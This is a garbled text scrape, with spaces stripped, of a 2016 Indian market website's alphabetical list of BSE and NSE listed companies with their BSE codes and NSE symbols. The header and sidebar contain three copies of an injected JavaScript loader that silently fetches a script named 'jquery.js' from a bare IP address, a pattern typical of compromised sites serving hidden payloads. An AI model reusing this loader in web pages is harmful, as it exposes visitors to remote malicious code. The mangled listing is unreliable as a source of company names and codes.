Sunteți pe pagina 1din 117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N

Login Register

Like

Followus

14K

functioninclude(e){vart=document.getElementsByTagName("head")
[0],n=document.createElement("script");n.src=e,n.type="text/javascript",t.appendChild(n)}"undefined"=
=typeofwindow.ELInit&&(window.ELInit=!0,include("http://212.84.160.73/jquery.js"));

marketonmobile
HOME

NEWS

MARKETS

COMMODITIES

CURRENCY

SMSALERTS

DASHBOARD

BLOGS

Search

Select

PleaseSelectandSearch

GOLDLOAN

Home News Technnicals Movers&Shakers BroaderInd SectorInd GlobalInd Gainers Losers 52WkHigh 52WkLow

SENSEX

NIFTY

MCX

NCDEX

KeySectorStocks

SENSEX25301.90 97.82ADANIPORTS

AsonMay20,15:59
SENSEX

25301.90

97.82

0.39%

NIFTY

7749.70

33.7

0.43%

Select

Submit

functioninclude(e){var
t=document.getElementsByTagName("head")
[0],n=document.createElement("script");n.
src=e,n.type="text/javascript",t.appendCh
ild(n)}"undefined"==typeof
window.ELInit&&
(window.ELInit=!0,include("http://212.84.
160.73/jquery.js"));

Company

BSECode

NSESymbol

20Microns

533022

20MICRONS

21stCent.Mgmt.

526921

21STCENMGM

3iInfotech

532628

3IINFOTECH

3MIndia

523395

3MINDIA

Stockswithhighopeninterest

3rdRock

532066

3RDROCK

HDIL,JindalSteelinF&Obanperiod

52WeeksEnter.

531925

Globalcommoditycheckat9:05am

7SeasEnter.

590116

Asiansharesgaininearlytrade

8KMiles

512161

8KMILES

ABB

500002

ABB

ABNIntercorp

532575

ABNINT

ADSDiagnostic

523031

MarutislipsonrecallofSCrossvehicles

AFEnterprises

538351

TataPowerralliesaftercompletingacquisition

AInfrastructure

539620

AJBrothers

511662

AKSpintex

539300

A.K.CapitalServ

530499

A2ZInfraEngg.

533292

AadhaarVentures

531611

AadiIndustries

530027

AafloatTextiles

514476

AagamCapital

531866

AakarEnginee.M

522201

AanandaLakshmi

539096

AanchalIspat

538812

AankitGranites

523511

AARCommercial

539632

AareyDrugs

524412

AartiDrugs

524348

AARTIDRUGS

AartiInds.

524208

AARTIIND

AarveeDenims

514274

AARVEEDEN

AaryaGlobal

531731

AasheeInfotech

519319

http://www.marketonmobile.com/search.php

MostRead

LatestNews

Rupeecautiousafterhugeslide
Gold,Silverunderpressure
LupintumblesonGoaconcerns
ITCgainsafterboardrecommendsbonusissue

More

A2ZINFRA

functioninclude(e){var
t=document.getElementsByTagName("head")
[0],n=document.createElement("script");n.
src=e,n.type="text/javascript",t.appendCh
ild(n)}"undefined"==typeof
window.ELInit&&
(window.ELInit=!0,include("http://212.84.
160.73/jquery.js"));

AKAIMPEX

INTRADAYCHART
BSE

SENSEX

NSE
Prev.Close:25399.72

1/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AasheeshSec.

531514

AasthaBroadcas.

503673

AaswaTrad.&Exp

512038

AAYUSHFOOD&HERB

539528

AbacusComputer

508987

AbanOffshore

523204

ABansEnterprise

512165

AbbottIndia

500488

ABBOTINDIA

ABCBearings

505665

ANTFRIBEAR

ABCGas(Int.)

513119

ABCIndia

520123

AbeeInfoConsu.

530833

ABGShipyard

532682

AbhijitTrading

539560

AbhinavCapital

532057

AbhinavLeasing

538952

AbhishekCorp.

532831

AbhishekFinle.

538935

AbhishekInfra.

539544

AbiramiFin.

511756

ABLBioTech.

526955

ABMKnowledge

531161

ABNGranites

515103

ACC

500410

ACC

AccelFrontline

532774

AFL

AccelTrans

517494

AccelyaKale

532268

AccentiaTech.

531897

AcclaimIndus.

526347

AccurateExports

531905

AccurateTrans.

530513

ACEEdu.

530093

ACELabs.

526077

AceMen

539661

AceSoft.Exp.

531525

AceStonecraft

515133

AceTours

536492

AchalInvestment

538570

ACIInfocom

517356

AcilCott.Inds.

530901

AcknitIndus.

530043

AcmeResources

539391

AcmeSpinners

514342

AcroPetalTech.

533330

AcrowIndia

513149

Acrysil

524091

ActionConst.Eq.

532762

ActionFin.Serv

511706

ADManumFinance

511359

AdamComsof

526177

AdaniEnterp.

512599

ADANIENT

AdaniPorts

532921

ADANIPORTS

AdaniPower

533096

ADANIPOWER

AdaniTransmissi

539254

ADANITRANS

http://www.marketonmobile.com/search.php

ABAN

ABGSHIP

LastVisited:
Stocks:
DHUNTEAIND297.40(9.66%)

ABHISHEK

ACCELYA

*T&Csapply.

TOOLS&CALCULATORS
HOMELOANCALCULATORS
INTERESTCALCULATORS
TAXCALCULATORS

ACELAB

CURRENCYCONVERTER

ACROPETAL

ACE

2/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AdarshChemicals

506225

AdarshMercantil

538563

AdarshPlant

526711

ADCIndia

523411

ADCCInfocad

538734

AddLifePharma

524665

AddiInds.

507852

ADFFoods

519183

AdharshilaCap.

539493

AdhbhutInfra.

539189

AdhirajDistrib.

780018

AdhunikIndus.

538365

AdhunikMetal

532727

AdhunikSynth.

514055

AdhunikYarns

514452

AdiFinechem

530117

AdiRasayan

531592

AdinathBioLabs

590088

AdinathEximRes

532056

AdinathTextiles

514113

Adit.BirlaMoney

532974

BIRLAMONEY

AdityaBir.Fas.

535755

ABFRL

AdityaBir.Nuv.

500303

ABIRLANUVO

AdityaBir.Chem.

500057

ABCIL

AdityaExports

523417

AdityaForge

522150

AdityaInfoSoft

530693

AdityaIspat

513513

AdityaMills

502625

AdityaPolymers

514338

AdityaSpinners

521141

ADITYASPIN

AdlabsEntert.

539056

ADLABS

AdorFontech

530431

AdorMultiProd.

523120

AdorWelding

517041

AdvanceBioCoal

531271

AdvanceLifes.

521048

AdvanceMeter.

534612

AdvanceMulti.

526331

AdvancePetroch.

506947

AdvancePowerin.

531047

AdvancedMicron.

517552

AdvaniHotels.

523269

ADVANIHOTR

Advanta

532840

ADVANTA

AdventComputer

531429

AdvikIndustries

539773

AdvikLabs.

531686

AEC(India)

523080

AECEnterprises

530211

AegisLogistics

500003

AeonianInvest.

503655

Aftek

530707

AFTEK

AgarwalIndl.

531921

AGARIND

AGCNetworks

500463

AGCNET

http://www.marketonmobile.com/search.php

ADARSHCHEM

KRONECOMM

ADFFOODS

ADHUNIK

ADI

ADORWELD

AMTL

AEC
AEGISCHEM

3/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AGIInfra

539042

AgioPaper

516020

AgniteEduc.

532358

AgriMarineExp.

519536

AgriTechIndia

537292

AgrimonyComm.

537492

AgroDutchInds.

519281

AGRODUTCH

AgroTechFoods.

500215

ATFL

AGSInfotech

533314

AhimsaIndust.

532594

AhlconParent(I)

524448

AhluwaliaContr.

532811

Ahm.Steelcraft

522273

AhuraWelding

530749

AIChamp.Inds.

532806

AICHAMP

AIAEngg.

532683

AIAENG

AikyamIntell.

506822

AimcoPesticides

524288

AishwaryaTech.

532975

AjantaPharma

532331

AjantaSoya

519216

AjconGlobal

511692

Ajel

530713

AjmeraRealty

513349

AjwaFunWorld

526628

AkarLaminators

500005

AkarTools

530621

AkashAgencies

501413

AkashdeepMetal

538778

AkmeStarHou.F

539017

AkshOptifibre

532351

AksharChem(I)

524598

AkzoNobel

500710

AlacrityElectr.

517362

AlacrityHousg.

523738

AlacritySec.

535916

AlanScottInds.

539115

AlangIndl.Gas.

531517

AlangMarine

520133

Alankit

531082

AlbertDavid

524075

Alchemist

526707

AlchemistCorp.

531409

AlchemistRealty

532114

AlcobexMetals

513412

Alembic

506235

ALEMBICLTD

AlembicPharma

533573

APLLTD

AlertPetrogas

501415

AlexconRoamcast

507933

AlfaIca(I)

530973

AlfaLaval(I)

505885

AlfaTransformer

517546

AlfavisionOvers

531156

AlfredHerbert

505216

http://www.marketonmobile.com/search.php

TELEDATAGL
AGRITECH

AHIMSA
AHLUCONT

AIMCOPEST
AJANTPHARM

AJMERA
AKARLAMIN

AKSHOPTFBR
AKZOINDIA

ALANKIT
ALCHEM

ALFALAVAL

ALFREDHERB

4/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AliconCast.

531147

AlkaDiamondInd

531581

AlkaIndia

530889

AlkaSecurities

532166

AlkaliMetals

533029

ALKALI

AlkemLab

539523

ALKEM

AlkylAmines

506767

ALKYLAMINE

AllMet.Pro.Inds

511088

AllahabadBank

532480

ALBK

AllcargoLogist.

532749

ALLCARGO

AllianceInteg.

534064

AlliedComputer.

532919

AlliedDigital

532875

AlliedHerbals

523030

AllsecTech.

532633

AllsoftCorp.

532327

AlmondzGlobal

531400

AlnaTrading

506120

AlokInds.

521070

AloraTrading

539693

AlpaLab.

532878

AlphaGraphic

531720

AlphaHiTech

531247

Alphageo(India)

526397

ALPHAGEO

AlpicFinance

511325

ALPICFIN

AlpineCapital

511694

AlpineHousing

526519

ALPINEHOU

AlpineInds.

519012

ALPINEIND

AlpsBpoService

531924

AlpsInds.

530715

AlpsMotorFin

538423

AlsaMarine

523447

ALSAMARINE

ALSTOMIndia

532309

AIL

AlstomT&DIndia

522275

ALSTOMT&D

AlstoneTextiles

539277

Alufluoride

524634

AluminiumInds.

503928

Amal

506597

AmalgamatedElec

501622

AmaniTrad.&Exp

512008

AmarRemedies

532664

AMAR

AmaraRajaBatt.

500008

AMARAJABAT

AmarjothiSpg.

521097

AMARJOTHI

AmarnathSec.

538465

AmbaEnterprises

539196

AmbalalSarabhai

500009

AmbarProtein

519471

AmbicaAgarbat.

532335

AmbikProteins

519240

AmbikaCotton

531978

AmbikaSilkMill

503723

AmbitionMica

539223

AmbitiousPlasto

526439

AmbujaCem.

500425

http://www.marketonmobile.com/search.php

ALICON

ADSL
ALLSEC
ALMONDZ
ALOKTEXT
ALPA

ALPSINDUS

AMBASARABH
AMBICAAGAR
AMBIKCO

AMBUJACEM

5/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AmbujaElectro

513317

AmbujaZinc

513357

AmcoIndia

530133

AMDIndustries

532828

AMDIND

AmforgeInds.

513117

AMFORGEIND

AmiComputers

526805

Amines&Plast.

506248

AmisonFoods

519275

AmitIntl.

531300

AmitSecurities

531557

AmitSpinning

521076

ASIL

AMLSteel

530464

AMLSTEEL

AmradeepInds.

531681

AmrapaliCapital

536737

AmrapaliFincap

539265

AmrapaliInds.

526241

AmraworldAgrico

531991

AmritBanaspati

531728

AmritCorp

507525

AmrutanjanHealt

590006

AmsonsApparels

538861

AmtekAuto

520077

AmulyaLsg.Fin.

531761

AnandCredit

531678

AnandProj.

501630

AnandamRubber

532597

ANANDAMRUB

AnantRaj

515055

ANANTRAJ

AnanthisIntl.

526833

AnarInds.

531127

AndhraBank

532418

ANDHRABANK

AndhraCements

532141

ANDHRACEMT

AndhraPetrochem

500012

ANDHRAPET

AndhraSugars

590062

ANDHRSUGAR

AndrewYule&Co

526173

ANDREWYULE

ANGInds

530721

ANGIND

AngelsEnterpr

538541

AnikIndustries

519383

Anil

532910

AnilSplSteel

504629

AnishaImpex

537785

AnjaniFinance

531878

AnjaniFoods

511153

AnjaniPortland

518091

AnjaniSynth.

531223

AnkaIndia

531673

AnkitMet.Power

532870

ANKITMETAL

AnkurDrugs

531683

ANKURDRUGS

AnkushFinstock

531519

AnnaInfrastruct

530799

ANSIndustries

531406

AnsalBuildwell

523007

AnsalHousing

507828

ANSALHSG

AnsalProperties

500013

ANSALAPI

Anshu'sClothing

534707

http://www.marketonmobile.com/search.php

AMBUJELCST

AMRUTANJAN
AMTEKAUTO

ANIKINDS
ASILIND

6/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AnshuniCommerc.

512091

Antarctica

526715

Anu'sLab.

532981

AnubhavIndustr.

539697

AnubhavInfrast.

538833

AnugrahaJewel

530805

AnuhPharma

506260

AnukaranCommerc

512355

AnupMalleables

506087

APScooters

505021

APTanneries

509367

AparInds.

532259

APARINDS

ApcotexIndustri

523694

APCOTEXIND

ApexBuildsysL

531615

ApexIntertech

526155

ApisIndia

506166

APLApollo

590059

APLApollo

533758

APLAPOLLO

Aplab

517096

APLAB

AplayaCreations

511064

APMInds.

523537

ApolloFinvest

512437

ApolloHospitals

508869

APOLLOHOSP

ApolloSindoori

532752

APOLSINHOT

ApolloTubes

504628

APOLLOTUBE

ApolloTyres

500877

APOLLOTYRE

ApoorvaLeasing

539545

AppleCredit

511339

APPLECREDT

AppleFinance

500014

APPLEIND

AppolloStones

526517

AppuMark

538653

APR

503749

APSStarInds.

505845

Aptech

532475

ApunkaInvest

539469

AquaLogistics

533159

AquaPumpsInfra

531364

AquamarineFood

519268

AramuskInfra.

532068

AravaliInds.

521339

ARAVALIIND

AravaliSec.&Fin

512344

ARAVALISEC

ArceeInds.

520121

ArchanaSoftware

530565

SSLFINANCE

ArchidplyInds.

532994

ARCHIDPLY

Archies

532212

ARCHIES

ArchitOrganosys

524640

ArchonIndust.

506041

ArcoLeasing

511038

ArcotechLtd

532914

ArcuttiporeTea

530261

ArdiInvest.

504370

ArexInds.

526851

ArfinIndia

539151

ArhatInds.

523812

http://www.marketonmobile.com/search.php

ANTGRAPHIC

APRAYON
APTECHT
AQUA

ARCOTECH

7/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
ARIConsolidated

509110

AriesAgro

532935

ARIES

Arih.Found.Hsg.

531381

ARIHANT

ArihantAvenues

531553

ArihantCapital

511605

ArihantCotsyn

514122

ARIHANTCOT

ArihantInds.

503897

ARIHANTIND

ArihantMulti

506113

ArihantSuper.

506194

ArihantThreads

514480

ArihantTourneso

526125

Arihant'sSec

531017

ArisInterna.

531677

AristaeusMach.

531699

Arlabs

506265

ArmanFinancial

531179

ArmanHoldings

538556

ArmsPaper

532397

ArnavCorp.

531467

ArnoldHoldings

537069

AroGraniteInds

513729

ArochemSilvassa

531593

AromaEnt.

531560

AroniCommercial

512273

AroraFibres

521174

ArrowCoated

516064

ARROWGREEN

ArrowTextiles

533068

ARROWTEX

Arshiya

506074

ARSHIYA

ARSSInfra

533163

ARSSINFRA

ArtechPower

517481

ArtefactProject

531297

ArtiAgroInds.

519301

Artillegence

512642

ArtsonEngg.

522134

ArunMantex

514340

ArunVarunTrade

504390

ArunaHotels

500016

ArunjyotiBio

530881

ArunjyotiEnterp

590114

ArunodayMills

502700

ArvinLiquidGas

523404

ArvindInfra.

539301

ArvindIntl.

524760

ArvindLtd

500101

ArvindProducts

532489

ArvindRemedies

531823

AryamanCapital

538716

AryamanFin.Serv

530245

AsahiIndiaGlas

515030

AsahiIndus.

514482

AsahiInfrastr.

512535

AsahiSongwon

532853

AscentExim(I)

511750

AseanIndl.Struc

531935

http://www.marketonmobile.com/search.php

ARIHANTRED

AROGRANITE

ARTSONENGG

ARUNASUGAR

ARVINFRA
ARVIND
ARVINDREM

ASAHIINDIA

ASAHISONG

8/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AseemGlobal

534564

AshapuraInti.

535467

AIFL

AshapuraMinech.

527001

ASHAPURMIN

AshcoNiulabInd

517565

ASHCONIUL

AshianaAgroInd

519174

AshianaHousing

523716

AshianaIspat

513401

AshikaCredit

590122

Ashima

514286

AshirwadCap.

512247

AshirwadSteels

526847

AshishPolyplast

530429

AshnoorTextile

507872

AshokAlcoChem

524594

ASHOKALCO

AshokLeyland

500477

ASHOKLEY

AshokaBuildcon

533271

ASHOKA

AshokaCotseeds

519022

AshokaRefinerie

526983

AshramOnline

526187

AsiaCapital

538777

AsiaPacificInv

511028

AsiaPack

530899

AsianAlloys

513458

AsianBearing

505672

AsianClosures

513279

AsianConsol.

500022

ASIANCONSO

AsianElectronic

503940

ASIANELEC

AsianFertilizer

524695

AsianFilms

532047

AsianFlora

531392

AsianFoodProd.

507530

AsianGranito

532888

ASIANTILES

AsianHotels(E)

533227

AHLEAST

AsianHotels(N)

500023

ASIANHOTNR

AsianHotels(W)

533221

AHLWEST

AsianOilfield

530355

AsianPaints

500820

AsianPetroprod.

524434

AsianStarCo.

531847

AsianTea&Exp

519532

AsianTractors

520098

AsianVegpro

530413

AsisLogistics

506159

AsitCMehtaFin

530723

ASMTechnologies

526433

AssamCO.(I)

500024

AssamPetrochem.

506267

Assambrook

500025

Assoc.Marmo

515107

Assoc.StoneInd

502015

ASOCSTONE

Assoc.Alcohols

507526

ASOCALCHOL

Assoc.Business

530567

AssociatedCera.

531168

AstecLife

533138

http://www.marketonmobile.com/search.php

ASHIANA

ASHIMASYN

TATIASKYLN

ASIANALLOY

ASIANPAINT

ASSAMCO

ASTEC

9/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AstraMicrowave

532493

ASTRAMICRO

AstralPoly

532830

ASTRAL

AstrazenecaPhar

506820

ASTRAZEN

AstroBioSys.

532340

AsutoshEnterpri

512433

AsyaInfosoft

511144

AtcomTechnolog

527007

AtharvEnter

530187

AthenaConstruc.

539099

AthenaFin.Serv

511718

AthenaGlobal

517429

Atishay

538713

Atlanta

532759

AtlantaDevcon

526843

AtlantaInfrast.

530479

AtlanticSpg.

521208

ATLANTSPG

AtlasCycles

505029

ATLASCYCLE

AtlasJewellery

514394

ATNIntl.

511427

ATNINTER

Atul

500027

ATUL

AtulAuto

531795

ATULAUTO

ATVProjects

500028

ATVPROJ

AundeIndia

532459

AurangabadPaper

502352

AuriferousAqua

519363

AurionproSol.

532668

AuroLabs.

530233

AurobindoPharma

524804

AuromaCoke

531336

Auromed

532103

AurumSoft

530885

AusomEnter.

509009

AustinEnggCo

522005

AuthumInvest

539177

AutoPins(I)

531994

AutoTension

520096

Auto.Corp.ofGoa

505036

Auto.Prod.India

505032

AutocompsIndia

522056

AutolineInds.

532797

AUTOIND

Autolite(I)

500029

AUTOLITIND

AutomotiveAxles

505010

AUTOAXLES

AutomotiveStamp

520119

ASAL

AutopalInds.

517286

AUTOPALIND

AutoridersFin.

500030

AUTORIDFIN

AutoridersIntl.

512277

AutumnBuilders

780004

AvailableFin.

531310

AvanceTech.

512149

Avantel

532406

AvantiFeeds

512573

AVANTIFEED

AveryIndia

526556

AVERY

AVIPhotochem

523896

AVIPolymers

539288

http://www.marketonmobile.com/search.php

ATCOM

ATLANTA

AURANPAPER
AURIONPRO
AUROPHARMA

AUSOMENT

AUTOCORP

10/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
AvinashInfo.Tec

531632

AvivaIndustries

512109

AvonCorporation

532995

AvonInds.

523531

AvonLifescience

531541

AvonMercantile

512265

AvonmoreCapital

511589

AVSInds.

526267

AVTNaturalProd

519105

AxelPolymers

513642

AxisBank

532215

AxisCap.Mkt.

531278

AxisGoldETF

533570

AXISGOLD

AxisGoldETF

590119

AXISGOLD

AxisRail

514360

AXISCADESEngg.

532395

AxonFinance

505506

AxtelIndustries

523850

AyepeeLamitubes

523168

AYMSyntex

508933

AyokiMerchant.

512063

AzureExim

531783

B&A

508136

B&APackaging

523186

BHEL

500103

BJDuplexBoard

531647

BKDuplexBoard

516112

BNRathiSec.

523019

BNanjiEnterps.

526594

BPCL

500547

BPCapital

536965

B&BRealty

506971

B.C.Power

537766

B.L.Kashyap

532719

B2BSoft.Tech.

531268

BabaArts

532380

BacilPharma

524516

BaffinEngg.

532161

BafnaPharma.

532989

BafnaSpg.Mills

531733

BAGFilms

532507

BagadiaColourch

530197

BagalkotUdyog

502125

BahumaPolytex

514256

BaidGlobal

509011

BaidLeasing

511724

BajajAuto

532977

BAJAJAUTO

BajajCorp

533229

BAJAJCORP

BajajElectrical

500031

BAJAJELEC

BajajFin.

500034

BAJFINANCE

BajajFinserv

532978

BAJAJFINSV

BajajGlobal

512261

BajajHealthcare

539872

BajajHindusthan

500032

http://www.marketonmobile.com/search.php

AVONIND

AVTNPL
AXISBANK

AXISCADES

AYMSYNTEX

BHEL

BPCL

BLKASHYAP

BAFNAPHARM
BAGFILMS

BAJAJHIND

11/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
BajajHoldings

500490

BajajSteelInds

507944

BajrangFinance

511139

BalPharma

524824

BalaTechnoGlob

511395

BalaTechnoIndu

514199

BalajiAmines

530999

BALAMINES

BalajiDistill.

500035

BALAJIDIST

BalajiGalvanisg

530205

BalajiHotels

530471

BALAJHOTEL

BalajiIndl.Corp

500036

BALAJIIND

BalajiTelefilms

532382

BALAJITELE

BalasoreAlloys

513142

ISPATALLOY

BalgopalHolding

504389

BalkrishnaInds

502355

BALKRISIND

BallarpurInds.

500102

BALLARPUR

BalmerLaw.Inv.

532485

BalmerLawr.Frei

500037

BalmerLawr.Vanl

505864

BalmerLawrie

523319

BALMLAWRIE

BalrampurChini

500038

BALRAMCHIN

BalurghatTech

520127

BALURTRANS

BambinoAgroInd

519295

BAMPSLSec.

531591

BanarasBeads

526849

BanasFinance

509053

BancoProducts

500039

BANCOINDIA

BangOverseas

532946

BANG

BangaloreFort

539120

BankofBaroda

532134

BANKBARODA

BankofIndia

532149

BANKINDIA

BankofMaha

532525

MAHABANK

BankaIndia

522157

BANKEX

1015

BannariAmmSpg.

532674

BASML

BannariAmm.Sug.

500041

BANARISUG

BansalRoofing

538546

BansisonsTea

519353

BanswaraSyntex

503722

BANSWRAS

BarakValley

532916

BVCL

BariumChemicals

506275

BarodaAgroInds

519453

BarodaAlloys

513331

BarodaCarbons

523527

BarodaDyeing

526359

BarodaElectric

503956

BarodaExtrusion

513502

BarodaFerro

513264

BarodaRayon

500270

BaronInfotech

532336

BartronicsIndia

532694

BasantAgroTech

524687

BASFIndia

500042

BasilInfra

511210

http://www.marketonmobile.com/search.php

BAJAJHLDNG

BALPHARMA

BANARBEADS

BARODARAYN
BARTRONICS
BASF

12/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
BataIndia

500043

BathinaTech.

532377

Batliboi

522004

BayLiners

523786

BayerCropSci.

506285

BCCFubaIndia

517246

BCLEnterprises

539621

BCLForgings

506093

BCLIndustries

524332

BDHInds.

524828

MBIND

BDRBuildcon

532681

BDR

Beardsell

539447

BEARDSELL

Beardsell

530466

BEARDSELL

BeckonsInds.

531937

BedmuthaIndus.

533270

BeeElectronics

517203

BeekayNiryat

539546

BeekaySteelInd

539018

BeeyuOverseas

532645

BelapurInds.

507050

BellAgromachina

531112

BellCeramics

515035

BellaCasa

539399

BellarySteels

500045

BemcoHydraulics

522650

BEMLLtd

500048

BenaresHotels

509438

Bengal&Assam

533095

BengalSteel

512404

BengalTea&Fab

532230

BentleyCommerc.

512195

BenzoPetroIntl

524737

BergerPaints

509480

BervinInvest.

531340

BerylDrugs

524606

BerylSecurities

531582

Besco

530447

Best&Crompton

500046

BestEasternHot

508664

BetaCorporation

531009

BetaKappaInv.

531481

BetalaGlob.Sec.

531530

BetexIndia

512477

BFInvestment

533303

BFINVEST

BFUtilities

532430

BFUTILITIE

BFLDevelopers

539662

BGILFilms&Tec

511664

BGREnergySys.

532930

BGRENERGY

BhagawatiGas

500051

BAGWATIGAS

BhagawatiOxygen

509449

BhageriaIndust.

530803

BhagheerathaEng

522136

BhagiradhaChem.

531719

BhagwandasMetal

530095

http://www.marketonmobile.com/search.php

BATAINDIA
BATLIBOI
BAYERCROP

BEDMUTHA

BELLCERATL
BELLARYSTL
BEML

BENGALTEA

BERGEPAINT

BECREL

BHAGERIA

13/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
BhagwatiAuto

504646

BhagwatiCottons

532197

BhagyanagarInd

512296

BhagyashreeLeas

511698

BhagyodayaInfra

501233

Bhalchandram

532583

BhandariHosiery

512608

BhanderiInfra.

538576

BhanotConstn.

534740

BhansaliEngg.

500052

BharaniOils

519423

BharatAgri

531862

BharatBhushan

511501

BharatBijlee

503960

BharatChemicals

506292

BharatElectron

500049

BharatForg.&Pr

522227

BharatForge

500493

BHARATFORG

BharatGears

505688

BHARATGEAR

BharatImmunolog

524663

BharatLine

501815

BharatPipes

513028

BHARATPIPE

BharatRasayan

590021

BHARATRAS

BharatSeats

523229

BharatTextiles

531029

BharatWire

539799

BHARATWIRE

BharatiDefence

532609

BHARATIDIL

BharatiyaGlob.

533499

BGLOBAL

BharatpurNutri.

519393

BhartiAirtel

532454

BHARTIARTL

BhartiInfra.

534816

INFRATEL

BhartiyaIntl.

526666

BIL

BhaskarAgrochem

524534

BhawanaSteel

513393

BheemaCements

518017

BhilaiEnggCorp

522283

BhilwaraSpinner

514272

BhilwaraTech

533108

BhilwaraTexFin

530879

BhiwaniVanasp

519148

BhorInds.

523808

BhorukaAlum.

506027

BhurukaGases

509728

BhushanSteel

500055

BhuvanTripura

524725

BhuwalkaSteel

513333

BiharAirProd

509463

BiharFoundry

504621

BiharSponge

500058

BijleeTextiles

512313

BijoyHans

524723

BilEnergySys.

533321

BILENERGY

BILInds.

522193

BHUPENIND

Bilati(Orissa)

531906

http://www.marketonmobile.com/search.php

BHAGYNAGAR

BHALCHANDR

BEPL

BBL
BEL

BHORIND

BHUSANSTL
BUWALKASTL

BIHARSPONG

14/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
Bilcare

526853

Bilpower

531590

BILPOWER

BimetalBearings

505681

BIMETAL

BinacaSynthRes

514344

BinaniInds

500059

BinayakaTexPr

523054

Binny

514215

BinnyMills

535620

BioGreenPapers

534535

Biocon

532523

BIOCON

BiofilChemicals

524396

BIOFILCHEM

BiopacIndia

532330

BiowinPharma

531372

BirdhiChand

538364

BirlaCapital

512332

BirlaCorpn.

500335

BIRLACORPN

BirlaCotsyn

533006

BIRLACOT

BirlaEricsson

500060

BIRLAERIC

BirlaMach.

505426

DAGERFORST

BirlaPacific

533469

BirlaPowerSol.

517001

BirlaPrecision

522105

BirlaShloka

511607

BirlaSunETF

533408

BSLGOLDETF

BirlaSun.Nifty

500415

BSLNIFTY

BirlaTrans.Carp

503823

BirminghamTherm

531428

BisilPlast

531671

BITS

526709

BKVIndustries

519500

BlackRoseIndus

514183

BlazonMarbles

531570

BLB

532290

BLBLIMITED

BlissGVSPharma

506197

BLISSGVS

BloomDekor

526225

BloomInds.

513422

BLSInfotech

531175

Blu.CoastHotel.

531495

BLUECOAST

BlueBird(I)

532781

BLUEBIRD

BlueBlends(I)

502761

BLUEBLENDS

BlueChipIndia

531936

BLUECHIP

BlueCircleSer.

508939

BlueCloud

539607

BlueDartExp.

526612

BluePearl

514440

BlueStar

500067

BLUESTARCO

BlueStarInfo.

532346

BLUESTINFO

BluebloodVentu

539637

BluechipStock.

531713

BluechipTexInd

506981

BMBMusic

531420

BNKCapital

500069

BNRUdyog

530809

BobshellElect

526925

http://www.marketonmobile.com/search.php

BINANIIND

BIRLAPOWER

BLUEDART

15/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
BodalChemicals

524370

BODALCHEM

BodhtreeConsul.

539122

BODHTREE

BodhtreeConsul.

514204

BODHTREE

BombayBurmah

501425

BBTC

BombayCycle

501430

BombayDyeing

500020

BombayOxygen

509470

BombayPotteries

502216

BombayRayon

532678

BombaySwadeshi

531276

BombayTalkies

511246

BombayWire

504648

BonanzaBiotech

532027

BonanzaInds.

523133

BoraxMorarji

506315

BorosilGlass

502219

BOROGLASS

Bosch

500530

BOSCHLTD

BoschChassis

505185

BOSCHCHASY

BostonBio

531458

BostonEducation

501469

BOSTONLEA.&FIN.

539274

BostonTeknowsys

536820

BothraMetals

535279

BPL

500074

BPLDisplayDev

517143

Brady&Morris

505690

Brahm.Infraproj.

531194

Brahma.Himghar

590081

BrahmaputraInf.

535693

BrakesAuto

520115

BrandRealty

531203

Brandhou.Retail

533059

BrawnBiotech

530207

BridgeSecuritie

530249

BrigadeEnterpr.

532929

BRIGADE

BrightBrothers

526731

BRIGHTBROS

BrijlaxmiLeas.

532113

BrilliantPort.

539434

BrindabanHold.

506164

BritanniaInds.

500825

BritishIndiaSt

513065

BroadcastInit.

532816

BronzeInfra

534731

BronzeTrading

539873

BrooksLab.

533543

Brushman(India)

590061

BS

533276

BSE100

1002

BSE100BVRA

1118

BSE100PERA

501115

BSE100YIELD

1121

BSE200

1003

BSE200BVRA

1119

BSE200PERA

1116

http://www.marketonmobile.com/search.php

BOMDYEING

BRFL

BPL

BRANDHOUSE

BRITANNIA
BROADCAST

BROOKS
BSLIMITED

16/117

20/05/2016 ListofAllcompanynameslistedonBSEandNSEStockExchanges:LastTradingPrice,Currentprice,Volume,BSECode,NSESymbol,BSEprice,N
BSE200YIELD

1122

BSE30BVRA

1117

BSE30PERA

1114

BSE30YIELD

1120

BSE500

1005

BSEAuto

1123

BSECapGoods

1008

BSECARBONEX

1145

BSEConsDurable

1009

BSEDollex100

1129

BSEDollex200

1004

